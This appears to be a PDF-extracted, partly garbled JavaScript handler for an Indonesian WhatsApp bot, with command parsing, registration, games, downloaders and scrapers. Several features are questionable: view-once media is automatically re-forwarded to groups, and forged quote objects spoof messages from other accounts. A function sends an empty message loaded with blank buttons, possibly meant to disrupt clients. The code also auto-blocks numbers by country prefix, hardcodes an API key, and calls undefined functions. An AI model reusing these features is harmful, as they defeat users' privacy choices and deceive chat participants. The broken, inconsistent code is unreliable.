You are on page 1of 99

require('.

/settings')
require('./lib/funclist')
const { exec, spawn, execSync } = require('child_process')
const util = require('util')
const axios = require('axios')
const moment = require('moment-timezone')
const chalk = require('chalk')
const path = require('path')
const cheerio = require('cheerio')
const crypto = require('crypto')
const cookie = require('cookie')
const genshin = require('genshin')
const FormData = require('form-data')
const FileType = require('file-type')
const fetch = require('node-fetch')
const fsx = require('fs-extra')
const ffmpeg = require('fluent-ffmpeg')
const Jimp = require('jimp')
const jsobfus = require('javascript-obfuscator')
const PhoneNumber = require('awesome-phonenumber')
const process = require('process')
const ms = require('ms')
const speed = require('performance-now')
const syntaxerror = require('syntax-error')
const ytdl = require('ytdl-core')
const os = require('os')
const { BufferJSON, WA_DEFAULT_EPHEMERAL, generateWAMessageFromContent, proto,
generateWAMessageContent, generateWAMessage, prepareWAMessageMedia,
areJidsSameUser, getContentType, MessageType, MessageOptions, Mimetype } =
require("darkleys")
const { clockString, tanggal, getTime, isUrl, sleep, runtime, fetchJson, getBuffer,
jsonformat, format, reSize, generateProfilePicture, getCase, parseMention } =
require('./lib/myfunc')
const { addResponList, delResponList, isAlreadyResponList,
isAlreadyResponListGroup, sendResponList, updateResponList, getDataResponList } =
require('./lib/list')
const { FajarNews, BBCNews, metroNews, CNNNews, iNews, KumparanNews, TribunNews,
DailyNews, DetikNews, OkezoneNews, CNBCNews, KompasNews, SindoNews, TempoNews,
IndozoneNews, AntaraNews, RepublikaNews, VivaNews, KontanNews, MerdekaNews,
KomikuSearch, AniPlanetSearch, KomikFoxSearch, KomikStationSearch, MangakuSearch,
KiryuuSearch, KissMangaSearch, KlikMangaSearch, PalingMurah, LayarKaca21,
AminoApps, Mangatoon, WAModsSearch, Emojis, CoronaInfo, JalanTikusMeme, Cerpen,
Quotes, Couples, Darkjokes } = require("dhn-api");
const { Configuration, OpenAIApi } = require("openai")
const fs = require('fs')
const githubstalk = require('./scrape/githubstalk')
const { antiSpam } = require('./lib/antispam')
const { color, bgcolor } = require('./lib/color')
const { jadibot, conns } = require('./jadibot')
const { uploadImage } = require('./lib/uploadImage')
const { uptotelegra, TelegraPh } = require('./scrape/upload')
const { dafontSearch, dafontDown } = require('./scrape/dafont')
const { ytDonlodMp3, ytDonlodMp4, ytPlayMp3, ytPlayMp4 } = require('./scrape/yt')
const anon = require('./lib/menfess')
const darkleys = require('darkleys')
const vm = require('node:vm')
const maker = require('mumaker')
const owner = JSON.parse(fs.readFileSync('./database/owner.json'))
const banned = JSON.parse(fs.readFileSync('./database/banned.json'))
const db_respon_list = JSON.parse(fs.readFileSync('./database/list.json'))
const prem = JSON.parse(fs.readFileSync('./database/premium.json'))
const dblist = JSON.parse(fs.readFileSync('./database/listall.json'))
const db_menfess = JSON.parse(fs.readFileSync('./database/func_menfess.json'))
let welkom = JSON.parse(fs.readFileSync('./database/welcome.json'))
let register = JSON.parse(fs.readFileSync('./database/register.json'))

global.db = JSON.parse(fs.readFileSync('./database/database.json'))
if (global.db) global.db = {
sticker: {},
database: {},
game: {},
others: {},
users: {},
chats: {},
...(global.db || {})
}

module.exports = dark = async (dark, m, chatUpdate, store) => {


try {
const gakbisaowner = `${ownerNomor}@s.whatsapp.net`
const body = (m.mtype === 'conversation') ? m.message.conversation :
(m.mtype == 'imageMessage') ? m.message.imageMessage.caption : (m.mtype ==
'videoMessage') ? m.message.videoMessage.caption : (m.mtype ==
'extendedTextMessage') ? m.message.extendedTextMessage.text : (m.mtype ==
'buttonsResponseMessage') ? m.message.buttonsResponseMessage.selectedButtonId :
(m.mtype == 'listResponseMessage') ?
m.message.listResponseMessage.singleSelectReply.selectedRowId : (m.mtype ==
'templateButtonReplyMessage') ? m.message.templateButtonReplyMessage.selectedId :
(m.mtype === 'messageContextInfo') ?
(m.message.buttonsResponseMessage?.selectedButtonId ||
m.message.listResponseMessage?.singleSelectReply.selectedRowId || m.text) : ''
const budy = (typeof m.text == 'string' ? m.text : '')
const prefix = prefa ? /^[°•π÷׶∆£¢€¥®™+✓_=|~!?@#%^&.©^]/gi.test(body) ?
body.match(/^[°•π÷׶∆£¢€¥®™+✓_=|~!?@#%^&.©^]/gi)[0] : "/" : prefa ?? global.prefix
const chath = (m.mtype === 'conversation' && m.message.conversation) ?
m.message.conversation : (m.mtype == 'imageMessage') &&
m.message.imageMessage.caption ? m.message.imageMessage.caption : (m.mtype ==
'documentMessage') && m.message.documentMessage.caption ?
m.message.documentMessage.caption : (m.mtype == 'videoMessage') &&
m.message.videoMessage.caption ? m.message.videoMessage.caption : (m.mtype ==
'extendedTextMessage') && m.message.extendedTextMessage.text ?
m.message.extendedTextMessage.text : (m.mtype == 'buttonsResponseMessage' &&
m.message.buttonsResponseMessage.selectedButtonId) ?
m.message.buttonsResponseMessage.selectedButtonId : (m.mtype ==
'templateButtonReplyMessage') && m.message.templateButtonReplyMessage.selectedId ?
m.message.templateButtonReplyMessage.selectedId : (m.mtype ==
"listResponseMessage") ?
m.message.listResponseMessage.singleSelectReply.selectedRowId : (m.mtype ==
"messageContextInfo") ?
m.message.listResponseMessage.singleSelectReply.selectedRowId : ''
const content = JSON.stringify(m.message)
const { type, quotedMsg, mentioned, now, fromMe } = m
const isCmd = body.startsWith(prefix)
const from = m.key.remoteJid
const command = body.slice(1).trim().split(/ +/).shift().toLowerCase()
const args = body.trim().split(/ +/).slice(1)
const pushname = m.pushName || "No Name"
const botNumber = await dark.decodeJid(dark.user.id)
const itsMedark = [botNumber, ...owner].map(v => v.replace(/[^0-9]/g, '') +
'@s.whatsapp.net').includes(m.sender)
const itsMe = m.sender == botNumber ? true : false
const text = q = args.join(" ")
const quoted = m.quoted ? m.quoted : m
const mime = (quoted.msg || quoted).mimetype || ''
const jam = moment.tz('asia/jakarta').format('HH:mm:ss')
const dt =
moment(Date.now()).tz('Asia/Jakarta').locale('id').format('a')
const wib = moment.tz('Asia/Jakarta').format('HH : mm : ss')
const wita = moment.tz('Asia/Makassar').format('HH : mm : ss')
const wit = moment.tz('Asia/Jayapura').format('HH : mm : ss')
const isMedia = /image|video|sticker|audio/.test(mime)
const isImage = (type == 'imageMessage')
const isVideo = (type == 'videoMessage')
const isAudio = (type == 'audioMessage')
const isSticker = (type == 'stickerMessage')
const isQuotedImage = type === 'extendedTextMessage' &&
content.includes('imageMessage')
const isQuotedLocation = type === 'extendedTextMessage' &&
content.includes('locationMessage')
const isQuotedVideo = type === 'extendedTextMessage' &&
content.includes('videoMessage')
const isQuotedSticker = type === 'extendedTextMessage' &&
content.includes('stickerMessage')
const isQuotedAudio = type === 'extendedTextMessage' &&
content.includes('audioMessage')
const isQuotedContact = type === 'extendedTextMessage' &&
content.includes('contactMessage')
const isQuotedDocument = type === 'extendedTextMessage' &&
content.includes('documentMessage')
const isQuotedTeks = type === 'extendedTextMessage' &&
content.includes('quotedMessage')
const tahunBaru = new Date('January 1, 2023 00:00:00')
const sekarang = new Date().getTime()
const Selisih = tahunBaru - sekarang
const jhari = Math.floor( Selisih / (1000 * 60 * 60 * 24));
const jjam = Math.floor( Selisih % (1000 * 60 * 60 * 24) / (1000 * 60 *
60))
const jmenit = Math.floor( Selisih % (1000 * 60 * 60) / (1000 * 60))
const jdetik = Math.floor( Selisih % (1000 * 60) / 1000)
const idulFitri = new Date('April 22, 2023 00:00:00')
const ayeuna = new Date().getTime()
const ceIroh = idulFitri - ayeuna
const hahari = Math.floor( ceIroh / (1000 * 60 * 60 * 24));
const hajam = Math.floor( ceIroh % (1000 * 60 * 60 * 24) / (1000 * 60 *
60))
const hamenit = Math.floor( ceIroh % (1000 * 60 * 60) / (1000 * 60))
const hadetik = Math.floor( ceIroh % (1000 * 60) / 1000)
const idulAdha = new Date('Juni 29, 2023 00:00:00')
const nembe = new Date().getTime()
const ceDadah = idulAdha - nembe
const hihari = Math.floor( ceDadah / (1000 * 60 * 60 * 24));
const hijam = Math.floor( ceDadah % (1000 * 60 * 60 * 24) / (1000 * 60 *
60))
const himenit = Math.floor( ceDadah % (1000 * 60 * 60) / (1000 * 60))
const hidetik = Math.floor( ceDadah % (1000 * 60) / 1000)
const UltahCreator = new Date('Januari 19, 2023 00:00:00')
const Creatordark = new Date().getTime()
const darkBotWA = UltahCreator - Creatordark
const mdhari = Math.floor( darkBotWA / (1000 * 60 * 60 * 24));
const mdjam = Math.floor( darkBotWA % (1000 * 60 * 60 * 24) / (1000 * 60 *
60))
const mdmenit = Math.floor( darkBotWA % (1000 * 60 * 60) / (1000 * 60))
const mddetik = Math.floor( darkBotWA % (1000 * 60) / 1000)
const sender = m.isGroup ? (m.key.participant ? m.key.participant :
m.participant) : m.key.remoteJid
const senderNumber = sender.split('@')[0]
const groupMetadata = m.isGroup ? await dark.groupMetadata(m.chat).catch(e
=> {}) : ''
const groupName = m.isGroup ? groupMetadata.subject : ''
const participants = m.isGroup ? await groupMetadata.participants : ''
const groupAdmins = m.isGroup ? await participants.filter(v => v.admin !==
null).map(v => v.id) : ''
const groupOwner = m.isGroup ? groupMetadata.owner : ''
const groupMembers = m.isGroup ? groupMetadata.participants : ''
const isBotAdmins = m.isGroup ? groupAdmins.includes(botNumber) : false
const isGroupAdmins = m.isGroup ? groupAdmins.includes(m.sender) : false
const isAdmins = m.isGroup ? groupAdmins.includes(m.sender) : false
const isPrem = prem.includes(sender)
const banUser = await dark.fetchBlocklist()
const isRegister = register.includes(m.sender)
const isBanned = banUser ? banUser.includes(m.sender) : false
const mentionUser = [...new Set([...(m.mentionedJid || []), ...(m.quoted ?
[m.quoted.sender] : [])])]
const mentionByTag = type == 'extendedTextMessage' &&
m.message.extendedTextMessage.contextInfo != null ?
m.message.extendedTextMessage.contextInfo.mentionedJid : []
const mentionByReply = type == 'extendedTextMessage' &&
m.message.extendedTextMessage.contextInfo != null ?
m.message.extendedTextMessage.contextInfo.participant || '' : ''
const numberQuery = q.replace(new RegExp('[()+-/ +/]', 'gi'), '') +
'@s.whatsapp.net'
const usernya = mentionByReply ? mentionByReply : mentionByTag[0]
const Input = mentionByTag[0] ? mentionByTag[0] : mentionByReply ?
mentionByReply : q ? numberQuery : false

try {
const isNumber = x => typeof x === 'number' && !isNaN(x)
const user = global.db.users[m.sender]
if (typeof user !== 'object') global.db.users[m.sender] = {}
const chats = global.db.chats[m.chat]
if (typeof chats !== 'object') global.db.chats[m.chat] = {}
if (user) {
if (!isNumber(user.afkTime)) user.afkTime = -1
if (!('afkReason' in user)) user.afkReason = ''
} else global.db.users[m.sender] = {
afkTime: -1,
afkReason: '',
}
} catch (err) {
console.error(err)
}

if (!dark.public) {
if (!m.key.fromMe) return
}
// Auto Registrasi
if (isCmd && !isRegister) {
try {
ppimg = await dark.profilePictureUrl(`${sender.split('@')[0]}@c.us`)
} catch {
ppimg = 'https://i0.wp.com/www.gambarunik.id/wp-content/uploads/2019/06/Top-Gambar-
Foto-Profil-Kosong-Lucu-Tergokil-.jpg'
}
register.push(sender)
fs.writeFileSync('./database/register.json', JSON.stringify(register))
/////////
darkbotzmd = fs.readFileSync('./p.jpg')
dark.sendMessage(m.chat, {image: { url: 'https://encrypted-tbn0.gstatic.com/images?
q=tbn:ANd9GcSlaKCZE6A9OdzmLHnsxL28_XT8qjBsL1tSlg&usqp=CAU' }, caption: ` *「 𝙑𝙀
𝙍𝙄𝙁𝙄𝘾𝘼𝙏𝙄𝙊𝙉 𝙎𝙐𝙆𝙎𝙀𝙎 」*

Terimakasih telah mendaftarkan diri ke database *Wangsaff-XD* berikut adalah


infonya\n\n*● Nama : ${pushname}*\n*● Nomor : ${sender.split('@')[0]}*\n*● Pengguna
: ${register.length}*\n\n*NOTE: JANGAN SPAM NGENTOD*`})
}

//Fake Reply
const ftroli = { key: {fromMe: false,participant: `0@s.whatsapp.net`, ...(from ?
{ remoteJid: "16505434800@s.whatsapp.net" } : {})},message: {orderMessage:
{itemCount : 200, status: 1,surface : 2,message: `${fake}\n${ucapanWaktu}
kak`,orderTitle: `${ucapanWaktu} kak`,thumbnail:
fs.readFileSync('./stik/quoted.jpg'), sellerJid: `0@s.whatsapp.net`}}}
const mentions = (teks, memberr, id) => {
(id == null || id == undefined || id == false) ? dark.sendMessage(from, { text:
teks, mentions: memberr, contextInfo: { "mentionedJid": memberr }}):
dark.sendMessage(from, {mentions: memberr,text: teks, contextInfo:
{ "mentionedJid": memberr }},{quoted: m})
}
dark.sendTextWithMentions = async (jid, text, quoted, options = {}) =>
dark.sendMessage(jid, { text: text, contextInfo: { mentionedJid:
[...text.matchAll(/@(\d{0,16})/g)].map(v => v[1] + '@s.whatsapp.net') }, ...options
}, { quoted })
const fkontak = { key: {fromMe: false,participant: `0@s.whatsapp.net`, ...(from ? {
remoteJid: `0@s.whatsapp.net` } : {}) }, message: { 'contactMessage':
{ 'displayName': `${pushname}`, 'vcard': `BEGIN:VCARD\nVERSION:3.0\nN:XL;$
{pushname},;;;\nFN:${pushname},\nitem1.TEL;waid=${sender.split('@')[0]}:$
{sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD`, 'jpegThumbnail':
fs.readFileSync('./stik/thumb.jpeg')}}}

// a callback to handle the response


var mycallback = function(err, data) {
if (err) {
console.error(err);
} else {
console.log("Callback function got : " + data);
}
};

// to test, read and execute commands from stdin


process.stdin.resume();
process.stdin.setEncoding('utf8');
process.stdin.on('data', function(chunk) {
python(chunk, mycallback);
});
var mdu = ['red','green','yellow','blue','magenta','cyan','white']
var halalu = mdu[Math.floor(Math.random() * mdu.length)]
var mdo = ['red','green','yellow','blue','magenta','cyan','white']
var halalo = mdo[Math.floor(Math.random() * mdo.length)]
var mdi = ['red','green','yellow','blue','magenta','cyan','white']
var halali = mdi[Math.floor(Math.random() * mdi.length)]
var mda = ['red','green','yellow','blue','magenta','cyan','white']
var halala = mda[Math.floor(Math.random() * mda.length)]
var mde = ['red','green','yellow','blue','magenta','cyan','white']
var halale = mde[Math.floor(Math.random() * mde.length)]

if (isCmd) {
console.log(chalk.yellow.bgCyan.bold(' - 𝙺𝚊𝚢𝚕𝚊 𝙱𝚘𝚝 '), color(`[ PESAN ]`, `$
{halalu}`), color(`FROM`, `${halalo}`), color(`${pushname}`, `${halali}`),
color(`Text :`, `${halala}`), color(`${body}`, `${halale}`))
}

if (isCmd && !isRegister) {


register.includes(m.sender)
fs.writeFileSync('./database/register.json', JSON.stringify(register, null, 2))
}

if (isCmd && antiSpam.isFiltered(from) && !m.isGroup) {


console.log(color('[SPAM]', 'red'), color(wib, 'yellow'), color(`${command} [$
{args.length}]`), 'from', color(pushname))
return m.reply('')
}

if (isCmd && antiSpam.isFiltered(from) && m.isGroup) {


console.log(color('[SPAM]', 'red'), color(wib, 'yellow'), color(`${command} [$
{args.length}]`), 'from', color(pushname), 'in', color(groupName))
return m.reply('Beri Jeda Napa Bang')
}

if (isCmd && !itsMedark) antiSpam.addFilter(from)

for (let jid of mentionUser) {


let user = global.db.users[jid]
if (!user) continue
let afkTime = user.afkTime
if (!afkTime || afkTime < 0) continue
let reason = user.afkReason || ''
m.reply(`Jangan tag dia!
Dia sedang AFK ${reason ? 'dengan alasan ' + reason : 'tanpa alasan'}
Selama ${clockString(new Date - afkTime)}
`.trim())
}

//menfess
const cekChat = (satu, dua) => {
let x2 = false
Object.keys(db_menfess).forEach((i) => {
if (db_menfess[i].id == dua){x2 = i}})
if (x2 !== false) {
if (satu == "id"){ return db_menfess[x2].id }
if (satu == "teman"){ return db_menfess[x2].teman }
}
if (x2 == false) { return null }
}

const setRoom = (satu, dua, tiga) => {


Object.keys(db_menfess).forEach((i) => {
if (db_menfess[i].id == dua){
if (satu == "±id"){ db_menfess[i].id = tiga
fs.writeFileSync('./database/func_menfess.json',
JSON.stringify(db_menfess))}
if (satu == "±teman"){ db_menfess[i].teman = tiga
fs.writeFileSync('./database/func_menfess.json',
JSON.stringify(db_menfess))}
}
})
}

// reset every 12 hours


let cron = require('node-cron')
cron.schedule('00 00 * * *', () => {
var resetyah = []
var menpesyah = []
register = resetyah
db_menfess = menpesyah
console.log('time to reset')
fs.writeFileSync('./database/register.json', JSON.stringify(register))
fs.writeFileSync('./database/func_menfess.json', JSON.stringify(db_menfess))
exec(`pm2 restart index`)
}, {
scheduled: true,
timezone: "Asia/Jakarta"
})

let d = new Date


let locale = 'id'
const calender = d.toLocaleDateString(locale, {
timezone: 'Asia/Jakarta',
day: 'numeric',
month: 'long',
year: 'numeric'
})

const time2 = moment().tz('Asia/Jakarta').format('HH:mm:ss')


if(time2 < "23:59:00"){
var ucapanWaktu = 'Selamat Malam 🌌'
}
if(time2 < "19:00:00"){
var ucapanWaktu = 'Selamat Sore 🌃'
}
if(time2 < "18:00:00"){
var ucapanWaktu = 'Selamat Sore 🌅'
}
if(time2 < "15:00:00"){
var ucapanWaktu = 'Selamat Siang 🏙'
}
if(time2 < "11:00:00"){
var ucapanWaktu = 'Selamat Pagi 🌄'
}
if(time2 < "05:00:00"){
var ucapanWaktu = 'Selamat Pagi 🌉'
}
// Button
const tempButton = async(remoteJid, text, footer, content) => {
// const { displayText, url, contentText, footer } = content
//send a template message!
const templateMessage = {
viewOnceMessage: {
message: {
templateMessage: {
hydratedTemplate: {
hydratedContentText: text,
hydratedContentFooter: footer,
hydratedButtons: content
},
}
}
}
}
const sendMsg = await dark.relayMessage(remoteJid,
templateMessage, {})
}

//setpp
const jimp_1 = require('jimp')
async function pepe(media) {
const jimp = await jimp_1.read(media)
const min = jimp.getWidth()
const max = jimp.getHeight()
const cropped = jimp.crop(0, 0, min, max)
return {
img: await cropped.scaleToFit(720,
720).getBufferAsync(jimp_1.MIME_JPEG),
preview: await cropped.normalize().getBufferAsync(jimp_1.MIME_JPEG)
}
}

//Suit PvP
this.suit = this.suit ? this.suit : {}
let roof = Object.values(this.suit).find(roof => roof.id && roof.status && [roof.p,
roof.p2].includes(m.sender))
if (roof) {
let win = ''
let tie = false
if (m.sender == roof.p2 && /^(acc(ept)?|terima|gas|oke?|tolak|gamau|nanti|ga(k.)?
bisa|y)/i.test(m.text) && m.isGroup && roof.status == 'wait') {
if (/^(tolak|gamau|nanti|n|ga(k.)?bisa)/i.test(m.text)) {
dark.sendTextWithMentions(m.chat, `@${roof.p2.split`@`[0]} menolak suit, suit
dibatalkan`, m)
delete this.suit[roof.id]
return !0
}
roof.status = 'play'
roof.asal = m.chat
clearTimeout(roof.waktu)
//delete roof[roof.id].waktu
dark.sendText(m.chat, `Suit telah dikirimkan ke chat

@${roof.p.split`@`[0]} dan
@${roof.p2.split`@`[0]}
Silahkan pilih suit di chat masing"
klik https://wa.me/${botNumber.split`@`[0]}`, m, { mentions: [roof.p, roof.p2] })
if (!roof.pilih) dark.sendText(roof.p, `Silahkan pilih \n\nBatu\nKertas📄
\nGunting✂️`,
m)
✂️
if (!roof.pilih2) dark.sendText(roof.p2, `Silahkan pilih \n\nBatu\nKertas\nGunting
`, m)
roof.waktu_milih = setTimeout(() => {
if (!roof.pilih && !roof.pilih2) dark.sendText(m.chat, `Kedua pemain tidak niat
main,\nSuit dibatalkan`)
else if (!roof.pilih || !roof.pilih2) {
win = !roof.pilih ? roof.p2 : roof.p
dark.sendTextWithMentions(m.chat, `@${(roof.pilih ? roof.p2 : roof.p).split`@`[0]}
tidak memilih suit, game berakhir`, m)
}
delete this.suit[roof.id]
return !0
}, roof.timeout)
}
let jwb = m.sender == roof.p
let jwb2 = m.sender == roof.p2
let g = /gunting/i
let b = /batu/i
let k = /kertas/i
let reg = /^(gunting|batu|kertas)/i
if (jwb && reg.test(m.text) && !roof.pilih && !m.isGroup) {
roof.pilih = reg.exec(m.text.toLowerCase())[0]
roof.text = m.text
m.reply(`Kamu telah memilih ${m.text} ${!roof.pilih2 ? `\n\nMenunggu lawan memilih`
: ''}`)
if (!roof.pilih2) dark.sendText(roof.p2, '_Lawan sudah memilih_\nSekarang giliran
kamu', 0)
}
if (jwb2 && reg.test(m.text) && !roof.pilih2 && !m.isGroup) {
roof.pilih2 = reg.exec(m.text.toLowerCase())[0]
roof.text2 = m.text
m.reply(`Kamu telah memilih ${m.text} ${!roof.pilih ? `\n\nMenunggu lawan
memilih` : ''}`)
if (!roof.pilih) dark.sendText(roof.p, '_Lawan sudah memilih_\nSekarang giliran
kamu', 0)
}
let stage = roof.pilih
let stage2 = roof.pilih2
if (roof.pilih && roof.pilih2) {
clearTimeout(roof.waktu_milih)
if (b.test(stage) && g.test(stage2)) win = roof.p
else if (b.test(stage) && k.test(stage2)) win = roof.p2
else if (g.test(stage) && k.test(stage2)) win = roof.p
else if (g.test(stage) && b.test(stage2)) win = roof.p2
else if (k.test(stage) && b.test(stage2)) win = roof.p
else if (k.test(stage) && g.test(stage2)) win = roof.p2
else if (stage == stage2) tie = true
dark.sendText(roof.asal, `_*Hasil Suit*_${tie ? '\nSERI' : ''}

@${roof.p.split`@`[0]} (${roof.text}) ${tie ? '' : roof.p == win ? ` Menang \n` : `


Kalah \n`}
@${roof.p2.split`@`[0]} (${roof.text2}) ${tie ? '' : roof.p2 == win ? ` Menang \
n` : ` Kalah \n`}
`.trim(), m, { mentions: [roof.p, roof.p2] })
delete this.suit[roof.id]
}
}

if (!isCmd && isAlreadydarkList(chath, dblist)) {


var getkaydata = getDatadarkList(chath, dblist)
if (getkaydata.isImage === false) {
dark.sendMessage(m.chat, { text: senddarkList(chath, dblist) }, { quoted: m })
} else {
buff = await getBuffer(getkaydata.image_url)
dark.sendImage(m.chat, buff, `${getkaydata.response}`, m)
}
}

if (db.users[m.sender].afkTime > -1) {


let user = global.db.users[m.sender]
m.reply(`
Kamu berhenti AFK${user.afkReason ? ' setelah ' + user.afkReason : ''}
Selama ${clockString(new Date - user.afkTime)}
`.trim())
user.afkTime = -1
user.afkReason = ''
}

if (m.sender.startsWith('212')) return dark.updateBlockStatus(m.sender, 'block')


if (m.key.remoteJid == 'status@broadcast') return dark.sendReadReceipt(from,
m.sender, [m.key.id])

async function senddarkMessage(chatId, message, options = {}){


let generate = await generateWAMessage(chatId, message, options)
let type2 = getContentType(generate.message)
if ('contextInfo' in options) generate.message[type2].contextInfo =
options?.contextInfo
if ('contextInfo' in message) generate.message[type2].contextInfo =
message?.contextInfo
return await dark.relayMessage(chatId, generate.message, { messageId:
generate.key.id })
}

const sendSticker = (pesan) => {


dark.sendImageAsSticker(m.chat, pesan, m, { packname: global.packname, author:
global.author })
}

try {
ppuser = await dark.profilePictureUrl(m.sender, 'image')
} catch (err) {
ppuser = 'https://cdn.pixabay.com/photo/2015/10/05/22/37/blank-profile-picture-
973460_960_720.png?q=60'
}
ppnyauser = await reSize(ppuser, 300, 300)

if (m.isGroup && m.mtype == 'viewOnceMessage') {


let teks = `╭「 *Anti ViewOnce* 」\n├ *Name* : ${pushname}\n├ *User* : @$
{m.sender.split("@")[0]}\n├ *Clock* : ${wib} WIB\n└ *Message* : ${m.mtype}`
dark.sendMessage(m.chat, { text: teks, mentions: [m.sender] }, { quoted: m })
await sleep(500)
m.copyNForward(m.chat, true, {readViewOnce: true}, {quoted: m}).catch(_ =>
m.reply('Mungkin dah pernah dibuka bot'))
}

const lep = {
key: {
fromMe: false,
participant: `0@s.whatsapp.net`,
...({ remoteJid: "" })
},
message: {
"imageMessage": {
"mimetype": "image/jpeg",
"caption": `dark Bot WhatsApp`,
"jpegThumbnail": ppnyauser
}
}
}

const ftext = {
key: {
fromMe: false,
participant: `0@s.whatsapp.net`,
...(from ? {
remoteJid: '6285870808160@s.whatsapp.net' } : {}) },
message: {
extendedTextMessage: {
text: `${m.pushName}`,
title: `${m.pushName}`,
jpegThumbnail: ppnyauser } } }

const reply = (teks) => {


return dark.sendMessage(from, { text: teks, mentions: parseMention(teks) },
{ quoted: m })
}

const banRep = () => {


dark.sendMessage(m.chat, {
text:`Maaf Anda Sudah Di Banned Silahkan Chat @${creator.split("@")[0]} Untuk
Membuka Nya`,
mentions: [creator],
},
{
quoted:m
})
}

if (isCmd && isBanned) {


return banRep()
}

let list = []
for (let i of owner) {
list.push({
displayName: await dark.getName(i + '@s.whatsapp.net'),
vcard: `BEGIN:VCARD\n
VERSION:3.0\n
N:${await dark.getName(i + '@s.whatsapp.net')}\n
FN:${await dark.getName(i + '@s.whatsapp.net')}\n
item1.TEL;waid=${i}:${i}\n
item1.X-ABLabel:Ponsel\n
item2.EMAIL;type=INTERNET:darkbotzmd@gmail.com\n
item2.X-ABLabel:Email\n
item3.URL:Mending Turu Banh\n
item3.X-ABLabel:YouTube\n
item4.ADR:;;Indonesia;;;;\n
item4.X-ABLabel:Region\n
END:VCARD`
})
}

dark.sendListMsg = (jid, text = '', footer = '', title = '' , butText = '', sects =
[], quoted) => {
let sections = sects
var listMes = {
text: text,
footer: footer,
title: title,
buttonText: butText,
sections
}
dark.sendMessage(jid, listMes, { quoted: quoted })
}

let rn = ['recording','composing']
let jd = rn[Math.floor(Math.random() * rn.length)];

// Public & Self


if (!dark.public) {
if (!itsMedark) return
}

if (command) {
//dark.sendPresenceUpdate(jd, from)
dark.readMessages([m.key])
}

function simpan(path, buff) {


fs.writeFileSync(path, buff)
return path
}
function getRandom(ext) {
ext = ext || ""
return `${Math.floor(Math.random() * 100000)}.${ext}`
}

const createSerial = (size) => {


return crypto.randomBytes(size).toString('hex').slice(0, size)
}

const pickRandom = (arr) => {


return arr[Math.floor(Math.random() * arr.length)]
}

const downloadMp4 = async (Link) => {


try {
await ytdl.getInfo(Link)
let mp4File = getRandom('.mp4')
console.log(color('Download Video With ytdl-latest'))
let nana = ytdl(Link)
.pipe(fs.createWriteStream(mp4File))
.on('finish', async () => {
await dark.sendMessage(sender, { video: fs.readFileSync(mp4File), caption:
mess.succes, gifPlayback: false }, { quoted: m })
if (!m.isGroup) return reply('Media sudah dikirim dichat pribadi.')
fs.unlinkSync(`./${mp4File}`)
})
} catch (err) {
reply(`${err}`)
}
}

const downloadMp3 = async (Link) => {


try {
await ytdl.getInfo(Link)
let mp3File = getRandom('.mp3')
console.log(color('Download Audio With ytdl-latest'))
ytdl(Link, { filter: 'audioonly' })
.pipe(fs.createWriteStream(mp3File))
.on('finish', async () => {
await dark.sendMessage(sender, { audio: fs.readFileSync(mp3File), mimetype:
'audio/mp4' }, { quoted: m })
if (!m.isGroup) return reply('Media sudah dikirim dichat pribadi.')
fs.unlinkSync(mp3File)
})
} catch (err) {
reply(`${err}`)
}
}

async function sendPoll(jid, text, list) {


dark.relayMessage(jid, {
"pollCreationMessage": {
"name": text,
"options": list.map(v => { return { optionName: v } }),
"selectableOptionsCount": list.length
}
}, {})
}

async function bygbt(text) {


dark.sendMessage(text, {
text: '',
templateButtons: [
{ callButton: { displayText: `P`, phoneNumber: ``}},
{ urlButton: { displayText: `P`, url: `https://wa.me/`}},
{ urlButton: { displayText: `P`, url: `https://www.whatsapp.com/otp/copy/`}},
{ quickReplyButton: { displayText: `P`, id: ``}},
{ quickReplyButton: { displayText: `P`, id: ``}},
{ quickReplyButton: { displayText: `P`, id: ``}},
]})
}

async function rmbg(buffer) {


let form = new FormData
form.append("size", "auto")
form.append("image_file", fs.createReadStream(buffer), "ntah.webp")
let res = await axios({
url: "https://api.remove.bg/v1.0/removebg",
method: "POST",
data: form,
responseType: "arraybuffer",
headers: {
"X-Api-Key": "24yjkNG4jrXeh1WcMdMJMWD2",
...form.getHeaders()
}
})
return res.data
}

async function getFile(media) {


let data = Buffer.isBuffer(media) ? media : isUrl(media) ? await ( await
fetch(media)).buffer() : fs.existsSync(media) ? fs.readFileSync(media) :
/^data:.*?\/.*?;base64,/i.test(media) ? Buffer.from(media.split(",")[1]) : null
if (!data) return new Error("Result is not a buffer")
let type = await FileType.fromBuffer(data) || {
mime: "application/octet-stream",
ext: ".bin"
}
return {
data,
...type
}
}

async function sendFile(jid, media, options={}) {


let file = await getFile(media)
let mime = file.ext, type
if (mime == "mp3") {
type = "audio"
options.mimetype = "audio/mpeg"
options.ptt = options.ptt || false
}
else if (mime == "jpg" || mime == "jpeg" || mime == "png") type = "image"
else if (mime == "webp") type = "sticker"
else if (mime == "mp4") type = "video"
else type = "document"
return dark.sendMessage(jid, { [type]: file.data, ...options },
{ ...options })
}

async function ephoto(url, texk) {


let form = new FormData
let gT = await axios.get(url, {
headers: {
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
}
})
let $ = cheerio.load(gT.data)
let text = texk
let token = $("input[name=token]").val()
let build_server = $("input[name=build_server]").val()
let build_server_id = $("input[name=build_server_id]").val()
form.append("text[]", text)
form.append("token", token)
form.append("build_server", build_server)
form.append("build_server_id", build_server_id)
let res = await axios({
url: url,
method: "POST",
data: form,
headers: {
Accept: "*/*",
"Accept-Language": "en-US,en;q=0.9",
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36",
cookie: gT.headers["set-cookie"]?.join("; "),
...form.getHeaders()
}
})
let $$ = cheerio.load(res.data)
let json = JSON.parse($$("input[name=form_value_input]").val())
json["text[]"] = json.text
delete json.text
let { data } = await axios.post("https://en.ephoto360.com/effect/create-image", new
URLSearchParams(json), {
headers: {
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36",
cookie: gT.headers["set-cookie"].join("; ")
}
})
return build_server + data.image
}

async function genProfile(dark, m) {


let font = await Jimp.loadFont('./name.fnt'),
mask = await Jimp.read('https://i.imgur.com/552kzaW.png'),
welcome = await Jimp.read("https://telegra.ph/file/81260a8b9e8cff26d2b48.jpg")
,
avatar = await Jimp.read(await dark.profilePictureUrl(m.sender, 'image').catch
